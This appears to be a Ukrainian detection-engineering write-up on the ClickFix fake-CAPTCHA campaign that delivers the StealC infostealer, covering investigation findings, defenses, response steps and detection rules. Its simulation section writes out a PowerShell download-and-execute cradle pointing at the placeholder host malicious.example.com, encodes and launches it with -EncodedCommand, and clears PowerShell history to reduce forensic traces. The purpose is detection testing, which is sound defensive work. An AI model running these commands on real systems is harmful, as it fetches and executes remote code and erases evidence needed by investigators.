Як ClickFix відкриває двері до прихованого StealC Information Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Комплексне багатостадійне проникнення без використання файлів починається на скомпрометованому сайті в’єтнамського ресторану, де розміщено фальшивий CAPTCHA. Жертви підштовхуються до виконання PowerShell, який завантажує позиційно незалежний shellcode, який відбиває завантажувач 64-біт і вводить інформаційний стілкер StealC у svchost.exe. StealC збирає облікові дані браузера, дані гаманців криптовалюти, облікові дані Steam та Outlook, інформацію про хост та знімки екрана, а потім ексфільтрує через HTTP-трафік, зашифрований RC4.
Розслідування
Дослідники аналізували JavaScript та PowerShell завантажувачі, підтвердили використання фреймворку Donut shellcode та відстежували HTTP-запити завантажувача до URL-адрес, що належать зловмисникам. Стілець здається програмним забезпеченням як послуга, яке централізовано кероване з модульними функціями крадіжки та самознищення. Нотатки з полювання включають значення User-Agent ‘Loader’ та певні ключі реєстру, пов’язані з іниційованням і виконанням.
Захист
Рекомендовані заходи захисту включають обмеження або вимкнення вставки з буфера обміну в браузерах, посилення політики виконання PowerShell та сигнали на незвичайні рядки User-Agent. Додайте виявлення завантаження відбиваючих PE та ін’єкції процесу, а також забезпечте перевірку вихідного HTTP для доставки коректно закодованого на Base64 payload. Навчання користувачів щодо підроблених CAPTCHA-паст може бути використане як контроль, а не як після думки.
Відповідь
Якщо виявлено, ізолюйте кінцеву точку, зупиніть ін’єктований екземпляр svchost.exe, захопіть дампи пам’яті для аналізу shellcode і заблокуйте шкідливі домени/URL-адреси. Скиньте скомпрометовані облікові дані, перевірте артефакти реєстру та браузера на предмет впливу та стежте за залишковим трафіком C2.
Потік атаки
Виявлення
Можливе використання PING для виконання з затримкою (через cmdline)
Перегляд
Підозріле завантаження файлів Direct IP (через проксі)
Перегляд
LOLBAS wmic (через cmdline)
Перегляд
Завантаження або вивантаження через Powershell (через cmdline)
Перегляд
IOC (SourceIP) для виявлення: Як ClickFix відкриває двері для прихованого StealC Information Stealer
Перегляд
IOC (HashSha256) для виявлення: Як ClickFix відкриває двері для прихованого StealC Information Stealer
Перегляд
IOC (DestinationIP) для виявлення: Як ClickFix відкриває двері для прихованого StealC Information Stealer
Перегляд
Виявити активність в мережі StealC Information Stealer [Windows Network Connection]
Перегляд
Виявити ін’єкцію процесу через StealC у svchost.exe [Windows Process Creation]
Перегляд
PowerShell EncodedCommand і iex(irm) виявлено [Windows Powershell]
Перегляд
Виконання симуляції
Передумова: Попередній зліт та базовий перевірки телеметрії повинні були бути пройдені.
Обґрунтування: Цей розділ детально описує точне виконання методики супротивника (TTP), розробленої для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати визначені методи та мати на меті генерувати точну телеметрію, очікувану логікою виявлення.
-
Опис атаки та команди:
Атакуючий отримує фішинг-лист, що містить коротку URL-адресу. Мета – встановити віддалений PowerShell бекдор, не сповіщуючи користувача. Атакуючий створює payload для PowerShell у форматі Base64, який завантажує шкідливий скрипт з сервера C2 і негайно виконує його за допомогою
iex(irm…). Використовуючи-EncodedCommandперемикач, атакуючий приховує фактичні команди від випадкового огляду, іiex(irm…)шаблон напряму відповідає правилу виявлення.-
Створити шкідливий скрипт (
payload.ps1) розміщено наhttp://malicious.example.com/payload.ps1. -
Закодуйте команду запуску:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # це значення використовується на наступному етапі -
Виконайте закодовану команду на цільовому об’єкті:
powershell.exe -EncodedCommand <Base64StringFromStep2>
Це генерує подію Sysmon ProcessCreate, де
CommandLineмістить-EncodedCommandand декодований текст включаєiex(irm…), що відповідає правилу Sigma. -
-
Скрипт регресійного тестування:
#----------------------------------------------------------- # Скрипт моделювання – Спрацьовує PowerShell EncodedCommand + iex(irm) #----------------------------------------------------------- # 1. Вкажіть URL-адресу шкідливого скрипту (замініть на ваш тестовий сервер) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Створіть однорядкову команду, що завантажує та виконує скрипт $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Закодуйте команду в Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Запустіть PowerShell із закодованою командою Write-Host "Виконання закодованої команди..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Симуляція завершена." -
Команди очищення:
# Видаліть будь-які тимчасові файли, створені шкідливим навантаженням (якщо такі є) # Приклад: видаліть завантажений скрипт, якщо він був збережений локально $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Видалено тимчасове навантаження." } # За бажанням, очистіть історію PowerShell для зменшення судової слідової роботи Clear-History